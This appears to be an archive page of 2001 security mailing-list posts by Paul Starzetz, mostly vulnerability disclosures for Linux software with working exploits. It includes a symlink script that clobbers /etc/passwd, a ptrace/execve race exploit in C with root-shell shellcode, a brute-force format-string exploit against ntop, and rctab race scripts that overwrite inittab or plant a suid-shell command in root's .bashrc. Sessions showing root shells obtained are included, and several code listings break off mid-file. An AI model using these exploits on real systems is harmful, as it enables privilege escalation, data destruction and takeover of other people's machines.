the stack. (hm what about jumping at libc-call-in-text - 4, 8, ...
offset?)

Paul.



Re: Announcing RSX - non exec stack/heap module

2001-06-07 Thread Paul Starzetz

Thomas Dullien wrote:
 
  It would appearat first glance  that RSX uses the same technique as PAX.
  Naturally, the PAX and RSX teams should confer to make a definitive
  statement on similarities and differences.
 
 Just for the record, the technique bears no similarity. PAX provides
 real, non-executable PAGES on x86 -- RSX remaps the heap segments
 outside of the code segment limit.

To be more precise: RSX does _not_ provide non-exec stack, heap and so
on but the 'complement' speak executable code area. The segments which
are remapped are _not_ the heap(s), speak data segments, but the code
(marked as rx-p) areas.
The basic idea while writing RSX was not to provide some heavy artillery
but a small, very low penalty kernel module stopping not 100 but maybe
95% of wide spread local  remote attacks towards Linux machines.

There cannot be a doubt that installing the module to protect few but
endangered applications (like sshd, rshd, rpc) improves the system
security.

sincerely,

Paul Starzetz



VMware symlink problems

2001-04-19 Thread Paul Starzetz

1. Problem description
--

There is symlink vulnerability in the vmware-mount.pl script which comes
with lates VMware.


2. Details
--

While mounting virtual disk drives using the vmware-mount.pl script, a
temporary file named vmware-mount.pl.PID where PID is the current pid of
the command will be created in an insecure manner. This allows an
attacker to overwrite any local file, if root mounts a VMware's virtual
partition (mounting is usually done as root).

Example:

paul@ps:/tmp  id
uid=500(paul) gid=100(users) Gruppen=100(users),90(firewall)
paul@ps:/tmp  ./mpl.sh

VMware local /etc/passwd DoS
By Ihq.

 linking /etc/passwd to /tmp
[+] please wait for root to run vmware-mount.pl


after running vmware-mount.pl:

paul@ps:/tmp  id
uid=500 gid=100(users) Gruppen=100(users),90(firewall)

Obviously the passwd file has been overwritten:

paul@ps:/tmp  cat /etc/passwd

Nr  Start   Size Type Id Sytem
-- -- --  -- 
 1 632096577 BIOS  C Win95 FAT32 (LBA)


I'm not sure, if it is exploitable for priviledge elevation.


3. Impact
-

Local file corruption.




-- mpl.sh --

#/bin/bash

declare -i n
declare -i mx

n=2
mx=32767

echo
echo "VMware local /etc/passwd DoS"
echo "By Ihq."
echo

echo " linking /etc/passwd to /tmp"

while test $n -lt $mx ; do
ln -s /etc/passwd /tmp/vmware-mount.pl.$n
n=$(($n + 1))
done

echo "[+] please wait for root to run vmware-mount.pl"
echo



Insecure directory handling in KFM file manager

2001-04-19 Thread Paul Starzetz

Hi,

there is a symlink/owner problem in the KDE file manager kfm. I found it
on my SuSE 7.0 but I'm not sure if it is an original SuSE package or
not, rpm doesn't know about it:

paul@ps:/tmp  rpm -qfi /usr/opt/kde/bin/kfm
die Datei /usr/opt/kde/bin/kfm gehrt zu keinem Paket 

what means that the kfm binary is not known to rpm. However, I suspect
that it is included in all KDE1 distributions.

kfm will create a cache directory in /tmp without checking for correct
onwership named kfm-cache-UID where UID is the numerical user id. Then
it will write to files in the cache dir, for example:



root@ps:/tmp/kfm-cache-500  ls -la
drwxrwxrwx   2 rws  uboot4096 Apr 18 21:18 .
drwxrwxrwt  15 root root   770048 Apr 18 21:16 ..
lrwxrwxrwx   1 rws  uboot  18 Apr 18 21:18 index.html -
/home/paul/.bashrc
-rw-r--r--   1 rws  uboot   0 Apr 18 21:16 index.txt

root@ps:/tmp/kfm-cache-500  ls -la /home/paul/.bashrc
-rw-r--r--   1 paul users1458 Jan 23 13:56
/home/paul/.bashrc


and after running kfm as user 500:

root@ps:/tmp/kfm-cache-500  ls -la /home/paul/.bashrc
-rw-r--r--   1 paul users 271 Apr 18 21:19
/home/paul/.bashrc


The impact is obvious :-/

Ihq.



Re: ptrace/execve race condition exploit (brute force)

2001-03-31 Thread Paul Starzetz

Wojciech Purczynski wrote:

 Hi,

 Here is exploit for ptrace/execve race condition bug in Linux kernels up
 to 2.2.18.


As far as I understand it, the race condition exists between preparing the bprm 
structure inside the
kernel (which will carry the suid/sgid credentials) and setting the effective 
credentials for
current proccess. While playing around with the exploit, I found that the following 
code will do the
job much effectivelly :-)

The idea is to consume as much as possible physical memory and leave the child proces 
with async i/o
and open (close on exec) file descriptors. Of course, reading and writing the big file 
will affect
the file cache too.

The code will work even repeatedly on the same suid binary (as far as tested on 4 
different boxes,
problems encountered if creating the file on reiserfs...), it may iterate few times:


paul@ps:/usr/home/paul/tmp2  ./sig /bin/su

Memaval: 264122368

Wait for ./dupa1151845033.dat... 1

SUCCESS !

EAX:0   EBX:0   ECX:0   EDX:0
ESI:0   EDI:0   EBP:0   OAX:b
EFL:  246   ESP: 77b0   EIP: 77b0

sh-2.04#


The "EAX:0" line indicates the successfull call to execve() and the value 0xb 
in OAX that we
attached while execve() was called.

Ihq.


- sig.c -

/
*   *
*   Ptrace execve race exploit  *
*   by IhaQueR  *
*   basic idea by Wojciech Purczynski   *
*   (note, it is still broken)  *
*   *
/





#include unistd.h
#include sys/ptrace.h
#include stdio.h
#include signal.h
#include sys/wait.h
#include asm/ptrace.h
#include sys/time.h
#include sys/resource.h
#include sys/user.h
#include sys/types.h
#include sys/stat.h
#include fcntl.h



#define SHELL "/bin/sh"
#define SHELL_LEN "\x06"

char shellcode[1024]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"  
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24"  
"\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL ;



volatile int sig=0;

volatile int parent=0;
volatile int child=0;


void chldstart(int v)
{
sig=1;
}


dumpregs(volatile struct user_regs_struct* pt)
{
printf("\n");
printf("EAX: %8x\tEBX: %8x\tECX: %8x\tEDX: %8x\n", pt-eax, pt-ebx, 
pt-ecx, pt-edx);
printf("ESI: %8x\tEDI: %8x\tEBP: %8x\tOAX: %8x\n", pt-esi, pt-edi, 
pt-ebp, pt-orig_eax);
printf("EFL: %8x\tESP: %8x\tEIP: %8x\n", pt-eflags, pt-esp, pt-eip);
printf("\n");
fflush(stdout);
}


main(int ac, char** av)
{

int res;
volatile struct user_regs_struct pt;
int i;
char* buf;
FILE* fp;
char tmp[1024];
char tmpfile[1024];
unsigned memaval=0;


if(ac  2) {
printf("\nUsage: %s suid bin [mem aval]]\n\n", av[0]);
exit(1);
}

if(ac  2) {
memaval=atoi(av[2]);
}

setsid();
setpgrp();
srand(time(NULL));
sprintf(tmpfile, "./dupa%08d.dat", rand());
system("rm -rf dupa*.dat");

parent=getpid();

//  get mem
if(memaval = 0) {
fp = fopen("/proc/meminfo", "r");
if(i0) {printf("\n"); perror("meminfo"); exit(1);}
fgets(tmp, 1023, fp);
fscanf(fp, "%s %d", tmp, memaval);
fclose(fp);
}

signal(SIGUSR1, chldstart);

printf("\nMemaval: %d\n", memaval);
printf("\nWait for %s... ", tmpfile);   
fflush(stdout);

i=0;

while(1) {

i++;
sig=0;

if((child=fork())) {

kill(child, SIGUSR1);

while(!sig);

res = ptrace(PTRACE_ATTACH, child);


Re: ptrace/execve race condition exploit (non brute-force)

2001-03-30 Thread Paul Starzetz

Mariusz Woloszyn wrote:

 On Tue, 27 Mar 2001, Wojciech Purczynski wrote:

 
  Hi,
 
  Here is exploit for ptrace/execve race condition bug in Linux kernels up
  to 2.2.18.
 

 Hi!

 I've seen a tool that works better than this, useing different aproach to
 the same bug explits it on all platforms giving instant root without the
 need for cat garbage files to clear disk cache!!!

Even with the original exploit code there is a 99.99% chance to gain root access, if 
you change the
line:

   regs.eip=eip;

to:

   regs.eip=regs.esp;

and don't call objdump on the targetted binary before (use only the binary name as 
argument to
epcs). At least with 'exotic' suid binaries like uux or gpasswd which are *never* in 
the disk cache
you will get instant root too.

paul@ps:/usr/home/paul/tmp2  ./epcs /usr/bin/gpasswd
Bug exploited successfully.
sh-2.04# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.04#


Clever admins would chmod 4511 their suid binaries.

Ihq.



Remote buffer overflow, remote DoS and format string bug in current IRCd's tkserv

2001-03-05 Thread Paul Starzetz

1. Abstract
---

There are 3 major bugs in the current IRCd distribution (as used on the
IRCnet for example). The included service daemon 'tkserv' (tkserv.c v1.3.0 and all 
previous
versions) suffers from:

a) remote exploitable buffer overflow while querying tklines
b) memory leck due to strdup'ing a string and not freeing the mem
c) format string bug while reading the ircd's config file



2. Details
--

a) There is an buffer overflow in the 'void squery_tkline(char **args)' from tkserv.c. 
The bad part
is (*):


   /* User wants to add tkline(s). */
if (lifetime  0)
{
passwd  = args[4];
pattern = args[6];

(*) strcpy(reason, args[7]);

i = 8;

/* I know... */
while(args[i]  *args[i])
{
strncat(reason, " ", TKS_MAXKILLREASON - strlen(reason) - 1);
strncat(reason, args[i], TKS_MAXKILLREASON - strlen(reason) - 1);
i++;
}

where reason is defined to be a static char buffer 'char reason[TKS_MAXKILLREASON]' and
TKS_MAXKILLREASON is defined to be only 128 characters. Sending an carefully crafted 
tkline squery
to vulnerable tkserv may result in remote code execution and further compromise. 
Indeed after
looking
at a running tkserv in gdb, I found that exploitation of this flaw should be very 
easy. There are
only few conditions to meet, e.g. the *args[i] part...

We also need to meet the condition 'must_be_opered()' which is checked before the 
vulnerable code is
entered by tkserv. This occurs, if in the tkserv.access file there is at least one 
access line _not_
containing "!" as the first character, which means that the corresponding user@host 
pair do _not_
need to have OPER priviledges prior to use tkserv. Or in other words, requesting at 
least one
user@host pair in tkserv.access to have OPER priviledges prior to using tkserv results 
in remote
buffer overflow vulnerability.

Of course, having a matching user@host pair, but no tkserv access (which is not so 
uncommon, believe
me.. there are some configuration pitfalls concerning the user@host lines, which I 
don't want to
reveal ;-) the vulnerability can be exploited too.

So overflowing 'reason' results in overwriting saved EIP with well known consequences.


b) The bad part is (**):

int must_be_opered()
{
FILE *fp;

/* if the access file exists, check for auth */
if ((fp = fopen(TKSERV_ACCESSFILE, "r")) != NULL)
{
char buffer[TKS_MAXBUFFER];
char *access_uh, *token, *uh;

while (fgets(buffer, TKS_MAXBUFFER, fp))
{
uh= (char *) (strchr(nuh, '!') + 1);
token = (char *) strtok(buffer, " ");

if (token)
{
(**)  access_uh  = (char *) strdup(token);
}


the pointer returned by strdup is never a subject a free() call. So stressing the 
tkserv with many
unauthorized (!) squery's results in excessive memory usage in effectively in denying 
the service
and maybe other services running on the vulnerable box.


c) While the tkserv parses the ircd.conf file, e.g. after requesting a new k-line (the 
original
ircd.conf is read line-by-line and the modified copy written to ircd.conf.tmp, which 
is copied to
ircd.conf after tkserv has finished reading the original config file) there is a 
vulnerable call to
fprintf (***):

int check_tklines(char *host, char *user, int lifetime)
{
FILE *iconf, *iconf_tmp;

if ((iconf = fopen(CPATH, "r"))  (iconf_tmp = fopen(TKSERV_IRCD_CONFIG_TMP, 
"w")))
{
int count = 0, found = 0;
time_t now;
char buffer[TKS_MAXBUFFER];
char buf_tmp[TKS_MAXBUFFER];

/* just in case... */
chmod(TKSERV_IRCD_CONFIG_TMP, S_IRUSR | S_IWRITE);

now = time(NULL);

while (fgets(buffer, TKS_MAXBUFFER, iconf))
{
if ((*buffer != 'K') || (!strstr(buffer, "tkserv")))
{
(***) fprintf(iconf_tmp, buffer);
}


the original ircd.conf is fprint'ed line by line to a temporary copy, so if one can 
include some
format conversion operators there, the code will fail (hm, what about /timer1234 9 
5 /msg
someoper hey moron... ok, I know, with current BIND it wouldn't work...). I think, 
this is not
exploitable in the wild.



3. Solution
---

See discussion. Do not request opered access to your tkserv. Update as soon as 
possible.



IhaQueR Security Research.



Remote buffer overflow, remote DoS and format string bug in current IRCd's tkserv - correction

2001-03-05 Thread Paul Starzetz

Small correction:

One needs at least one _non_ OPERED line in tkserv.access in order to be vulnerable to 
the mentioned
buffer overflow attack. I've read the code too fast :-)


ihq.



Quick Analysiss of the recent crc32 ssh(d) bug

2001-02-20 Thread Paul Starzetz

1. Abstract
---

This article discusses the recently discovered security hole in the
crc32 attack detector as found in common ssh packages like OpenSSH and
derivates using the ssh-1 protocoll. There is a possible overflow during
assignemnet from 32bit integer to 16bit wide one leading to unmasked
hash table offsets.


In this article I will try to show how:

a) exploit the crc32 hole to gain remote access to accounts without
providing any password, assuming remote sshd allows empty passwords

b) change login-uid if valid account on the remote machine exists.


I'm aware about the wide consequences arising form this disclosure and
possibly some people will hate me because I wrote this, but after you
have read this article, you will see that the exploitation is really
hard and tricky but on the other hand interessting. I think that the
impact of the crc32 hole is greater than the recent bind bug. I'm not
responsible for any damage resulting from this code, if you use this on
your own.

The exploit code is a set of patches to openssh-2.1.1, but of course one
may want to put the needed routines into one code file.

Note: this is neither a typical buffer overflow exploit (shell code) nor
a format string exploit :-)



2. Details
--

Lets look at the vulnerable code in deattack.c. I will derive few
conclusions about exploitation of the deattack code here.

Original deattack.c code taken from OpenSSH-2.1.1, interessting
locations are marked with [n]:

int
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
static u_int16_t *h = (u_int16_t *) NULL;
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
register u_int32_t i, j;
u_int32_t l;
register unsigned char *c;
unsigned char *d;

if (len  (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
len % SSH_BLOCKSIZE != 0) {
fatal("detect_attack: bad length %d", len);
}

[1]
for (l = n; l  HASH_FACTOR(len / SSH_BLOCKSIZE); l = l  2)
;

if (h == NULL) {
debug("Installing crc compensation attack detector.");
[2] n = l;
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
if (l  n) {
n = l;
h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
}
}

if (len = HASH_MINBLOCKS) {
for (c = buf; c  buf + len; c += SSH_BLOCKSIZE) {
if (IV  (!CMP(c, IV))) {
if ((check_crc(c, buf, len, IV)))
return (DEATTACK_DETECTED);
else
break;
}
for (d = buf; d  c; d += SSH_BLOCKSIZE) {
if (!CMP(c, d)) {
if ((check_crc(c, buf, len, IV)))
return (DEATTACK_DETECTED);
else
break;
}
}
}
return (DEATTACK_OK);
}
memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE);

if (IV)
h[HASH(IV)  (n - 1)] = HASH_IV;

for (c = buf, j = 0; c  (buf + len); c += SSH_BLOCKSIZE, j++) {
[3] for (i = HASH(c)  (n - 1); h[i] != HASH_UNUSED;
 i = (i + 1)  (n - 1)) {
if (h[i] == HASH_IV) {
if (!CMP(c, IV)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
[4] } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
}
[5] h[i] = j;
}
return (DEATTACK_OK);
}

[2] as wee see here, a 32bit int value is assigned to 16bit wide only
one. Bad things happen, if n is assigned a (truncated) value 0, because
the value of n-1, where nwould expand to 32bit before the calculation is
made is used as bit mask for following hash table operation [3]. Because
l is computed to be a power of 4 in [1], we do not need to know the
exact value for the len argument of detect_attack. We will end with n
beeing exactly 0 if len is big enough. The overflow happens at exactly
LEN = (16384 / HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.

So now we know how to set n to 0. Simply send a ssh1 packet with 

Local man exploit

2001-02-09 Thread Paul Starzetz

Hi @ll

the attached script will create suid man shell on vulnerable systems
(man -l bug).


ihq.

 manexpl.sh


ntop -i local exploit

2001-01-29 Thread Paul Starzetz

1. Abstract
---

There are various format string bugs in the ntop package as mentioned in
former Bugtraq articles. This is _not_ a new problem. However, in
opposite to the '-w' option bug, an exploit for the existent '-i' option
format string bug has never been posted/released.


2. Details
--

Many people assume, that format string bugs are heavy to exploit,
beacause one must deal with strange offsets. But with a piece of tricky
code, format string bugs become really easy exploitable. The idea is of
course, not new: brute force the stack address where the retadr is saved
during some 'printf' call.

The format string needed to reach itself by consumig stack arguments is
constructed in an automated manner. It looks like:

paddingstackeatwriteaddressnopsshellcode

The offsets given at the beginning of the code come from ntop-1.0-21 as
found on SuSE 6.1. I didn't have the source of ntop 1.0, but after
looking at ntop 1.1 I think that the exploit should work unchanged with
1.1, if not one can play with the value of writeadr and shelladr (try
increasing writeadr by 0x100). The address of shellcode isn't critical
as we can append enough nops to the begining of the shellcode, but of
course it will depend on the size of the environment variables. The rest
of the exploit code is really self-explanatory.

Sample exploitation looks like this:

paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp  uname -a
Linux phoenix 2.2.16-IPv6 #1 Sun Jun 25 18:07:06 CEST 2000 i586 unknown
paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp  id
uid=500(paul) gid=100(users) groups=100(users),101(untrusted)

paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp  ntopexpl.sh

configured for running /usr/sbin/ntop
RETADR = 0xb000
SHELL  = 0xb320
NOPS   = 128

[+] found /usr/sbin/ntop
now searching for offset

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16]
[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30]
[31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44]
[45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58]
[59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71]

[+] OFFSET found to be 284/71
now constructing magic string

[+] string fileds prepared

[+] bruteforce prog prepared
now brute force

[  64] sh: : command not found
ntop: listening on
PP%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%1
.
. (some output)
.
0b076ttuuvvwwsh-2.02#
sh-2.02# id
uid=0(root) gid=100(users) groups=100(users),101(untrusted)
sh-2.02#


Easy, isn't it? You will need an executable stack, of course.


3. Credits
--

Go to Ksecurity ([EMAIL PROTECTED]) for finding this vulnerability.

Ihaquer Security Research, www.ihaquer.com




## ntopexpl.sh ##

#!/bin/bash

#   CONFIGURATION:
umask 000
target="/usr/sbin/ntop"
tmpdir="/tmp/"

#   address we want to write to (ret on the stack)
#   has to be an absolute address but we brute force
#   this scanning 64 addresses from writeadr on
writeadr="0xb000"

#   no. of addresses to scan
wrep=64

#   address of the shell in our string
#   must point somewhere to our 'nop' region
shadr="0xb320"

#   number of nops before shellcode
declare -i nnops
nnops=128


echo
echo "---"
echo "|   ntop local r00t exploit   |"
echo "|  by IhaQueR |"
echo "| only for demonstrative purposes |"
echo "---"
echo

echo
echo "configured for running $target"
echo "RETADR = $writeadr"
echo "SHELL  = $shadr"
echo "NOPS   = $nnops"
echo


#   fake shellcode
shellfake="SS"

#   number of nops before shellcode
declare -i nnops
nnops=128

#   make nop field
declare -i idx
idx=0

nfake=""

while test $idx -lt $nnops; do
nfake="N$nfake"
idx=$(($idx+1))
done;


#   sanity check :-)
if ! test -x $target ; then
echo "[-] $target not found or not executable, sorry"
exit 1
fi;

echo "[+] found $target"

declare -i cnt
declare -i cntmax
cnt=0
cntmax=1024


#   make string used for offset search
#   like headaddrnopsshellcode
#   PP stands for padding
string="%0016d%x%0016d%d%0016d%d%0016d%dABCD${nfake}${shellfake}"

padding="PP"
declare -i npad
npad=2
gstring=""

#   find offset
echo "now searching for offset"
echo

while test $cnt -le $cntmax ; do
gstring="%16g$gstring"
string="%16g$string"
cnt=$(($cnt+1))
result=$($target -i "$padding$string" 21 | grep "44434241")
echo -n "[$cnt] "

Buffer overflow in bing

2001-01-22 Thread Paul Starzetz

1. Abstract:


There is an overflowable buffer in the bing (throughput meassurement
tool) binary.


2. Details:
---

The bing tool comes with various Linux distributions. On SuSE (at least
6.0-6.4) bing isn't installed by default, but if installed it will be
suid root:

4556   54 -r-sr-xr-x   1 root root 54929 Apr  5  1999 /usr/bin/bing


The buffer overflowed is a 80 byte static local buffer:

char *
pr_addr(l)
u_long l;
{
struct hostent *hp;
static char buf[80];

if ((options  F_NUMERIC) ||
!(hp = gethostbyaddr((char *)l, 4, AF_INET)))
(void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)l));
else
(void)sprintf(buf, "%s (%s)", hp-h_name,
inet_ntoa(*(struct in_addr *)l));
return(buf);
}


It is possible to overwrite (look at the objects article) the global
'objects' hook with data comming from gethostbyname.

The attacker must have controll of at least one IN-ADDR.arpa zone, in
order to force gethostbyname() return an arbitrary host name (wouldn't
be too hard I think...)

The impact is obvious, even if the overflow is hard to exploit in
practice. Another difficulty arises from the fussy gethostbyname(). It
may become impossible to supply a host name you need for successfull
exploitation, because gethostbyname would filter strange characters and
reject bogus hostnames. Though, it depends on the virtual addresses the
programm is running at (hm, what about some run time variables of the
malloc-system or preload stuff?)


Looking at the symbol table I found that:

paul@phoenix:~/tmp2/bing  objdump --syms /usr/bin/bing|grep "0804f4"
0804f4ac l O .bss   0001 nrand
0804f4a8 l O .bss   0004 lastrand
0804f420 l O .bss   0050 buf.34
0804f470 l O .bss   0004 old_rrlen.37
0804f480 l O .bss   0028 old_rr.38
0804f4b0 l O .bss   0004 objects
0804f4c0 g O .bss   ffbc outpack

There are 6 variables which we can overwrite, though. The offset from
buf to objects hook is 144 (dec). To demonstrate this set up a bogus
reverse zone with a revptr like this:

"overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil"

AbCd is the place where 'objects' will be overwritten. A simple check
confirms this:

root@phoenix:/var/named  /etc/rc.d/named start
Starting name server.done

root@phoenix:/var/named  host 192.168.100.5
5.100.168.192.IN-ADDR.ARPA domain name pointer
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil

root@phoenix:/var/named  bing -v -e1 -c1 192.168.100.5 192.168.100.5
BING192.168.100.5 (192.168.100.5) and 192.168.100.5 (192.168.100.5)
44 and 108 data bytes
52 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request

116 bytes from
overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
(192.168.100.5): Echo Request


--- 192.168.100.5 statistics ---
bytes   outin   dup  loss   rtt (ms): min   avg   max
   44 1 1  0%   9.621 9.621 9.621
  108 1 1  0%   7.477 7.477 7.477

--- 192.168.100.5 statistics ---
bytes   outin   dup  loss   rtt (ms): min   avg   max
   44 1 0100%
  108 1 0100%

not enough received packets to estimate link characteristics.
resetting after 1 samples.
Segmentation fault

This hapens after bing has finished its work and the libc stuff is
beeing executed:

root@phoenix:/var/named  gdb /usr/local/bing
GNU gdb 4.17.0.11 with Linux support

(gdb) set args -v -e1 -c1 192.168.100.5 192.168.100.5
(gdb) run
Starting program: /usr/bin/bing -v -e1 -c1 192.168.100.5 192.168.100.5
.
.
Program received signal SIGSEGV, Segmentation fault.
0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at ./frame.c:581

(gdb) bt
#0  0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at
./frame.c:581
#1  0x8048d01 in __do_global_dtors_aux ()
#2  0x804cf55 in _fini ()
#3  0x400320f5 in exit (status=0) at exit.c:55


3. Impact:
--

On systems with suid /usr/bin/ping it may be possible under certain
circumstances to gain root priviledges.


4. Solution:
----

chmod 700 /usr/bin/bing


--
Paul Starzetz



Serious security flaw in SuSE rctab

2001-01-15 Thread Paul Starzetz

Hi @ll,

it seems that the problem described below has not been discussed on
Bugtraq.


Problem description
---

Due to a various race conditions in the init level editing script
/sbin/rctab it is possible for any local user to overwrite any system's
file with arbitrary data. This may result in denial of service attack,
local or even remote root compromise, if root runs the /sbin/rctab
script.


Details
---

The /sbin/rctab script doesn't check for links writing the temporary
rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't
chown'ed root. Because the PID of the rctab script can be guessed (or
looked up, however), any local user can replace the temporary rctmp file
with arbitrary content. This can be exploited in one of the following
manners:

a) local user replaces the rctmp with his own, resulting in
enabling/disabling any valid service listed in /sbin/init.d directory.
This may lead to a system running a vulnerable service after the
runlevel has been switched, resulting in further remote root compromise.

b) local user force the rctab script to write the content of rctmp file
to any other system's file including /etc/passwd or /etc/shadow. This
results in denial of service too.

c) local user trick the rctab script to write the contents of rctmp file
predecessed by some arbitrary data to some sensitive system file. In
conjunction with any sort of shell script executed by the root user and
the 'in here documents' it is possible to run any command inside the
attacked shell script.

d) ...and much more


Vulnerable Systems
--

At least SuSE 6.1-7.0, maybe other systems using rctab.


Exploit
---

Attached 2 exploits

rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present,
root runs crontab -e and saves the changes after changing something in
the runlevel table _and_ login again. (Yes, in some cases the script
will fail ;-)

changerc.sh: replaces system's inittable with an arbitrary one (assuming
rctab -e is run too)


IhaQueR.



-
so now the scripts:

[changerc.sh]

#!/bin/bash
#   any user can force changes to runlevels
#   by IhaQueR

declare -i PLOW
declare -i PHIGH


# CONFIG:

PLOW=1
PHIGH=3

TMP="/tmp"
FAKERC="/tmp/fakerc"
RCTMPDIR="rctmpdir"
RCTMP="rctmp"

_pwd="$PWD"

#
echo "--"
echo "||"
echo "| rctab exploit  |"
echo "|by IhaQueR '2001|"
echo "||"
echo "--"
echo

# crate dirs
echo "[+] now creating directories"
echo "this may take a while"
echo

declare -i cnt
cnt=$PLOW
umask 700

while [ $cnt -lt $PHIGH ]
do
cnt=$(($cnt+1))
if [ $(($cnt % 128)) -eq 0 ] ; then
printf "[%6d] " $cnt
fi;
if [ $(($cnt % 1024)) -eq 0 ] ; then
echo
fi;
mkdir -p "$TMP/$RCTMPDIR.$cnt"
done

echo
echo
echo "finished creating dirs"
echo

# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"

while [ 1 ]
do
rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
if test $rctabpid -gt 1 ; then
break
fi
sleep 1
done

# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

echo "[+] got rctab -e at pid $rctabpid"

# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"

if test -O $rcdir ; then
echo "[+] ok, we own the dir"
else
echo "[-] hm, we are not owner"
exit 2
fi

# wait for root to finish editing
sleep 4
declare -i vipid
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`

echo "root is editing now at $vipid, wait for $rcfile"

pfile="/proc/$vipid"

while test -d $pfile
do
echo -n /dev/null
done
rm -rf $rcfile
cp $FAKERC $rcfile

echo "[+] gotcha!"
echo "installed new rctab from $FAKERC"


-

[rcshell.sh]

#!/bin/bash
#   any user can force changes to runlevels
#   by IhaQueR

declare -i PLOW
declare -i PHIGH

# CONFIG:

PLOW=1
PHIGH=3

TMP="/tmp"
FAKERC=/tmp/fakerc
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
WRITETO="/root/.bashrc"
SUSH="/tmp/sush"

# what we want to write to $WRITETO (oops...)
declare -i idx
idx=0
rchead=""

while test "$idx" -lt 128 ; do
rchead="$rchead "
idx=$(($idx+1))
done

rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat /dev/null
_DUPA_"

_pwd="$PWD"


#
echo "--"
echo "||"
echo "|local rctab root exploit|"
echo "|   you would need luck  |"
echo "|   and an admin stupid enough   |"
echo "|by IhaQueR '2001|"
echo "|